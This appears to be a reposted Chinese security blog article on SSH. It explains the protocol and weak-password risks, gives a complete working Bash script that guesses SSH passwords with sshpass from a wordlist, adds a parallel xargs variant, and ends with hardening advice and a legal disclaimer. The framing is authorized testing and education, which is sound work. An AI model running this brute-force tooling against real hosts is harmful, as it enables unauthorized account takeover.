文章总结: 本文深入解析SSH协议工作原理与常见安全漏洞,重点演示基于sshpass的SSH密码爆破脚本实现,涵盖参数解析、错误处理及核心爆破逻辑,并提供多线程优化、日志记录等改进方案。同时从防御角度给出强密码策略、fail2ban配置、修改默认端口等安全建议,强调仅限授权测试与教育用途的合规要求。 综合评分: 90 文章分类: 渗透测试,web安全,安全工具,安全建设,实战经验
Linux SSH密码爆破脚本,从原理到实践
原创
钟智强 钟智强
哪吒网络安全
2026年3月31日 23:58 马来西亚
一、引言
SSH(Secure Shell)是Linux/Unix系统中最为常用的远程管理协议,它通过加密方式保障了网络通信的安全性。然而,弱密码依然是SSH服务面临的主要威胁之一。本文将带你深入理解SSH的工作原理,分析常见的安全漏洞,并通过一个简单的Bash脚本演示如何利用sshpass进行密码字典测试,帮助安全人员评估SSH服务的安全性。
二、SSH工作原理
2.1 SSH协议组成
SSH协议主要包含三个层次:
- 传输层协议:提供服务器认证、数据机密性和完整性保护
- 用户认证协议:负责验证客户端用户的身份
- 连接协议:将加密隧道复用为多个逻辑通道
2.2 SSH认证方式
SSH支持多种认证方式,最常见的有:
| 认证方式 | 特点 | | — | — | | 密码认证 | 最简单,但易受暴力破解攻击 | | 公钥认证 | 安全性高,推荐使用 | | 键盘交互认证 | 用于一次性密码等场景 |
2.3 SSH连接流程
- 客户端向服务器发起TCP连接(默认端口22)
- 双方协商加密算法和协议版本
- 服务器发送公钥给客户端
- 客户端验证服务器公钥(首次连接需确认指纹)
- 建立加密通道
- 进行用户认证(密码或密钥)
- 认证成功后分配Shell会话
三、SSH常见安全漏洞
3.1 弱密码漏洞
弱密码是SSH服务最主要的漏洞。常见弱密码包括:
- 默认密码(如
root、admin) - 简单数字组合(
123456、12345678) - 常见单词(
password、admin) - 与用户名相同的密码
3.2 配置不当
- 允许root直接登录
- 未限制登录失败次数
- 使用不安全的加密算法
- 未启用公钥认证
3.3 版本漏洞
某些旧版本SSH存在已知漏洞,如:
- CVE-2018-15473(用户枚举)
- CVE-2016-6210(密码猜测)
四、SSH密码爆破脚本解析
4.1 脚本源码
#!/bin/bash
user=""ip=""source=""
while getopts "u:h:s:" opt; do case $opt in u) user="$OPTARG" ;; h) ip="$OPTARG" ;; s) source="$OPTARG" ;; *) echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件" >&2 exit 1 ;; esacdone
if [ -z "$user" ] || [ -z "$ip" ] || [ -z "$source" ]; then echo "错误: 缺少必需的参数" echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件" exit 1fi
if [ ! -f "$source" ]; then echo "错误: 密码字典文件 '$source' 不存在" exit 1fi
attempt=0total=$(wc -l < "$source")
echo "目标: $user@$ip"echo "字典: $source ($total 个密码)"echo ""
while IFS= read -r password; do [ -z "$password" ] && continue ((attempt++))
printf "[%d/%d] 测试: %s\n" "$attempt" "$total" "$password"
if sshpass -p "$password" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$user@$ip" 'exit' 2>/dev/null; then echo "" echo "成功! 用户名: $user | 密码: $password" exit 0 fi
sleep 1done < "$source"
echo "失败: 未找到有效密码"exit 1
4.2 脚本功能详解
参数解析
-u:指定SSH用户名-h:指定目标IP地址-s:指定密码字典文件路径
错误处理
- 检查三个必需参数是否提供
- 检查密码字典文件是否存在
核心爆破逻辑
-
使用
wc -l统计密码总数 -
逐行读取密码字典,跳过空行
-
每次尝试后延迟1秒,避免触发防火墙防护
-
使用
sshpass携带密码进行SSH连接 -
SSH选项:
-
ConnectTimeout=5:连接超时5秒 -
StrictHostKeyChecking=no:跳过主机密钥确认 -
'exit':连接成功后立即退出,减少资源占用
#
4.3 工具依赖
脚本依赖sshpass工具,它允许在命令行中直接传递密码。安装方法:
# Ubuntu/Debiansudo apt install sshpass# CentOS/RHELsudo yum install sshpass
五、脚本使用示例
5.1 准备密码字典
创建一个简单的密码字典文件passwords.txt:
123456passwordadminroot12345678
5.2 运行脚本
chmod +x ssh_brute_force.sh./ssh_brute_force.sh -u root -h 192.168.1.100 -s passwords.txt
5.3 预期输出
目标: [email protected]字典: passwords.txt (5 个密码)[1/5] 测试: 123456[2/5] 测试: password[3/5] 测试: admin成功! 用户名: root | 密码: admin
六、脚本优化建议
6.1 多线程加速
使用xargs实现并发测试:
cat passwords.txt | xargs -P 10 -I {} sshpass -p {} ssh -o ConnectTimeout=5 [email protected] 'exit' 2>/dev/null && echo "成功: {}"
6.2 添加日志记录
log_file="bruteforce_$(date +%Y%m%d_%H%M%S).log"echo "[$(date)] 开始测试 $user@$ip" >> "$log_file"# 在成功时追加日志echo "[$(date)] 成功: $password" >> "$log_file"
6.3 支持代理和跳板机
通过-o ProxyCommand可以支持代理连接。
七、安全防御建议
对于SSH服务管理者,建议采取以下措施防御爆破攻击:
7.1 使用强密码或密钥认证
- 密码长度至少12位,包含大小写字母、数字和特殊符号
- 禁用密码认证,仅允许公钥认证
7.2 配置fail2ban
安装fail2ban并启用SSH防护:
sudo apt install fail2bansudo systemctl enable fail2ban
7.3 修改默认端口
编辑/etc/ssh/sshd_config,将Port 22改为其他端口。
7.4 限制登录失败次数
在/etc/ssh/sshd_config中添加:
MaxAuthTries 3MaxSessions 2
7.5 禁用root登录
PermitRootLogin no
7.6 使用防火墙限制访问
# 仅允许特定IP访问SSHiptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPTiptables -A INPUT -p tcp --dport 22 -j DROP
八、伦理与法律责任
8.1 使用原则
- 授权测试:仅对拥有明确授权的系统进行测试
- 教育目的:用于学习和研究,不得用于非法攻击
- 报告漏洞:发现漏洞后应负责任地报告
8.2 法律风险
未经授权的SSH爆破行为可能违反《网络安全法》等相关法律法规,最高可追究刑事责任。请务必遵守法律规定。
九、总结
本文从SSH协议原理出发,介绍了常见的安全漏洞,并提供了一个实用的SSH密码爆破脚本。通过该脚本,安全人员可以快速评估SSH服务的弱密码风险。同时,我们也强调了安全防御的重要性和合法合规的使用原则。
网络安全是一场持续的攻防博弈,只有理解攻击手法,才能更好地进行防御。希望本文能帮助读者提升安全意识,共同构建更安全的网络环境。
本文内容仅供技术交流,请勿用于非法用途。
#哪吒网络安全 #bash #ssh #bruteforce
欢迎加入我们的微信钉钉交流群,一起探讨漏洞研究、渗透测试与开源工具!
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:哪吒网络安全 钟智强 钟智强《Linux SSH密码爆破脚本,从原理到实践》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论